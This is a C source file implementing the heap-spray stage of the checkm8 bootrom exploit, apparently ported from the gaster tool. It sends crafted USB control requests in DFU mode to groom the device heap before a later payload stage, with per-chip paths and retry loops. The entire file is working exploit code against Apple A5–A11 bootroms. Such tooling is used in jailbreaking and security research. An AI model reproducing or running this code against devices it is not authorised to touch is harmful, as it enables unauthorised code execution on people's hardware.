/* checkm8_spray.c -- checkm8 spray helpers + stage 3 (from gaster) */ /* Max attempts for the stall loop and each spin loop in the spray stage. * Gaster typically converges in a handful of iterations; 100 is generous. */ #define MAX_STALL_RETRIES 100 #include #include #include #include "exploit/exploit.h" #include "exploit/checkm8.h" #include "exploit/checkm8_internal.h" #include "exploit/dfu_proto.h" #include "device/chip_db.h" #include "util/usb_helpers.h" #include "util/log.h" /* ------------------------------------------------------------------ */ /* checkm8_usb_request_stall */ /* ------------------------------------------------------------------ */ /* * Gaster: send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, ...) * && transfer_ret.ret == USB_TRANSFER_STALL * * bmRequestType = 0x02 (host-to-device, standard, endpoint) * bRequest = 0x03 (SET_FEATURE) * wValue = 0 * wIndex = 0x80 (EP0 IN) * wLength = 0 * * This provokes a STALL on EP0 because SET_FEATURE(ENDPOINT_HALT) * on the IN endpoint is not valid in DFU mode. */ int checkm8_usb_request_stall(libusb_device_handle *usb) { int ret; ret = usb_ctrl_transfer_no_data_raw(usb, 0x02, 0x03, 0, 0x80, USB_TIMEOUT_MS); /* PIPE error means STALL -- that is success */ return (ret == LIBUSB_ERROR_PIPE) ? 1 : 0; } /* ------------------------------------------------------------------ */ /* checkm8_usb_request_leak */ /* ------------------------------------------------------------------ */ /* * Gaster: send_usb_control_request_async_no_data(handle, 0x80, 6, * (3U << 8U) | i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, * EP0_MAX_PACKET_SZ, 1, &transfer_ret) && transfer_ret.sz == 0 * * GET_DESCRIPTOR for string descriptor (type=3, index=serial) * with wIndex = USB_MAX_STRING_DESC_IDX (10, not a real language ID). * 1ms timeout, expect 0 bytes back (allocation happened but no data * returned before timeout). */ int checkm8_usb_request_leak(libusb_device_handle *usb, uint8_t iserial_idx) { unsigned char *buf; int ret; buf = calloc(1, EP0_MAX_PACKET_SZ); if (!buf) return 0; ret = usb_ctrl_transfer_async_ret(usb, 0x80, 0x06, (uint16_t)((3U << 8U) | iserial_idx), USB_MAX_STRING_DESC_IDX, buf, EP0_MAX_PACKET_SZ, STALL_TIMEOUT_MS); free(buf); /* Success = transfer returned 0 bytes (allocation without data) */ return (ret == 0) ? 1 : 0; } /* ------------------------------------------------------------------ */ /* checkm8_stall */ /* ------------------------------------------------------------------ */ /* * Gaster: loop with variable usb_abort_timeout: * send_usb_control_request_async_no_data(handle, 0x80, 6, * (3U << 8U) | i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, * 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout, &transfer_ret) * && transfer_ret.sz < 3 * EP0_MAX_PACKET_SZ * && checkm8_usb_request_leak(handle) * * Sends GET_DESCRIPTOR with 3*EP0_MAX_PACKET_SZ length, variable * timeout. Loops until a short transfer occurs and a subsequent * leak request succeeds. */ int checkm8_stall(libusb_device_handle *usb, uint8_t iserial_idx) { unsigned usb_timeout = USB_ABORT_TIMEOUT_DEFAULT; unsigned usb_abort_timeout = usb_timeout - 1; uint16_t desc_len = 3 * EP0_MAX_PACKET_SZ; int attempt = 0; for (;;) { unsigned char *buf; int ret; if (++attempt > MAX_STALL_RETRIES) { log_error("checkm8_stall: exceeded %d retries, giving up", MAX_STALL_RETRIES); return -1; } buf = calloc(1, desc_len); if (!buf) continue; ret = usb_ctrl_transfer_async_ret(usb, 0x80, 0x06, (uint16_t)((3U << 8U) | iserial_idx), USB_MAX_STRING_DESC_IDX, buf, desc_len, usb_abort_timeout); free(buf); /* * Short transfer (ret < desc_len) and a successful leak * means the stall worked. */ if (ret >= 0 && (uint16_t)ret < desc_len && checkm8_usb_request_leak(usb, iserial_idx)) { break; } /* Rotate abort timeout (gaster formula) */ usb_abort_timeout = (usb_abort_timeout + 1) % (usb_timeout - USB_ABORT_TIMEOUT_MIN + 1) + USB_ABORT_TIMEOUT_MIN; } return 0; } /* ------------------------------------------------------------------ */ /* checkm8_no_leak */ /* ------------------------------------------------------------------ */ /* * Gaster: send_usb_control_request_async_no_data(handle, 0x80, 6, * (3U << 8U) | i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, * 3 * EP0_MAX_PACKET_SZ + 1, 1, &transfer_ret) * && transfer_ret.sz == 0 * * Same as leak but with length = 3*EP0_MAX_PACKET_SZ + 1 (0xC1). * The extra byte forces a different allocation size, creating a * hole when the buffer is freed. */ int checkm8_no_leak(libusb_device_handle *usb, uint8_t iserial_idx) { uint16_t desc_len = 3 * EP0_MAX_PACKET_SZ + 1; unsigned char *buf; int ret; buf = calloc(1, desc_len); if (!buf) return 0; ret = usb_ctrl_transfer_async_ret(usb, 0x80, 0x06, (uint16_t)((3U << 8U) | iserial_idx), USB_MAX_STRING_DESC_IDX, buf, desc_len, STALL_TIMEOUT_MS); free(buf); /* Success = transfer returned 0 bytes */ return (ret == 0) ? 1 : 0; } /* ------------------------------------------------------------------ */ /* Stage 3: Heap spray */ /* ------------------------------------------------------------------ */ int checkm8_stage_spray(exploit_ctx_t *ctx) { libusb_device_handle *usb; const chip_info_t *chip; uint8_t iserial_idx; size_t i; if (!ctx || !ctx->dev || !ctx->chip) return -1; usb = ctx->dev->usb; chip = ctx->chip; /* * Descriptor index for the CPID/ECID serial string. Populated by * usb_dfu_find() from bDeviceDescriptor.iSerialNumber. If the * device never reported one, fall back to 3 -- every checkm8- * vulnerable chip (A5..A11) ships with iSerial=3, so gaster's * historical constant remains a safe default here. */ iserial_idx = ctx->dev->iserial_index ? ctx->dev->iserial_index : 3; log_info("checkm8: stage 3/4 -- heap spray (iSerial idx %u)", (unsigned)iserial_idx); if (chip->config_large_leak == 0) { uint32_t cpid = chip->cpid; /* * No-leak path. Two sub-paths based on CPID (from gaster): * * Path A (0x8000/0x8003/0x7000/0x7001/0x7002): * Retry stall+leak+no_leak in a single loop. * * Path B (all others with config_hole): * Stall, then create config_hole holes via no_leak, * then final leak+no_leak. */ if (cpid == 0x7001 || cpid == 0x7000 || cpid == 0x7002 || cpid == 0x8003 || cpid == 0x8000) { int spray_attempt = 0; while (!checkm8_usb_request_stall(usb) || !checkm8_usb_request_leak(usb, iserial_idx) || !checkm8_no_leak(usb, iserial_idx)) { if (++spray_attempt > MAX_STALL_RETRIES) { log_error("checkm8_stage_spray: path A exceeded %d retries", MAX_STALL_RETRIES); return -1; } } } else { if (checkm8_stall(usb, iserial_idx) != 0) return -1; for (i = 0; i < chip->config_hole; ++i) { int hole_attempt = 0; while (!checkm8_no_leak(usb, iserial_idx)) { if (++hole_attempt > MAX_STALL_RETRIES) { log_error("checkm8_stage_spray: no_leak hole %zu " "exceeded %d retries", i, MAX_STALL_RETRIES); return -1; } } } int final_attempt = 0; while (!checkm8_usb_request_leak(usb, iserial_idx) || !checkm8_no_leak(usb, iserial_idx)) { if (++final_attempt > MAX_STALL_RETRIES) { log_error("checkm8_stage_spray: path B final loop " "exceeded %d retries", MAX_STALL_RETRIES); return -1; } } } /* Final: DFU_CLR_STATUS with (3*EP0_MAX_PACKET_SZ + 1) bytes. * Skip if stage 2 already got DFU to dfuIDLE via DFU_ABORT * (usbipd path): CLR_STATUS from dfuIDLE causes Apple DFU to * exit DFU mode, which would break the exploit. */ if (!ctx->skip_clrstatus) { uint16_t clr_len = 3 * EP0_MAX_PACKET_SZ + 1; uint8_t *clr_buf = calloc(1, clr_len); if (clr_buf) { usb_ctrl_transfer_raw(usb, 0x21, DFU_REQ_CLRSTATUS, 0, 0, clr_buf, clr_len, USB_TIMEOUT_MS); free(clr_buf); } } else { log_info("[DFU] stage 3: skip CLR_STATUS (DFU already in dfuIDLE)"); } } else { /* * Large-leak path: config_large_leak stall requests, * then DFU_CLR_STATUS with 0 data bytes. */ for (i = 0; i < chip->config_large_leak; ++i) { int large_attempt = 0; while (!checkm8_usb_request_stall(usb)) { if (++large_attempt > MAX_STALL_RETRIES) { log_error("checkm8_stage_spray: large_leak stall %zu " "exceeded %d retries", i, MAX_STALL_RETRIES); return -1; } } } dfu_clr_status(usb); } /* * On usbipd-win, GET_DESCRIPTOR spray requests are sent with * very short timeouts (1ms). The device allocates response * buffers that are only freed after its own internal USB timeout * fires (~50-200ms per buffer). If stage 4 starts immediately, * those buffers still occupy the heap and the DFU_DNLOAD * io_buffer cannot land at insecure_memory_base. * * Wait 1 second to ensure all spray buffers are freed by the * device before stage 4's DFU_DNLOAD allocation. */ usleep(1000000); /* 1 s */ ctx->phase = EXPLOIT_PHASE_SPRAY; log_info("checkm8: stage 3 complete -- heap spray done"); return 0; }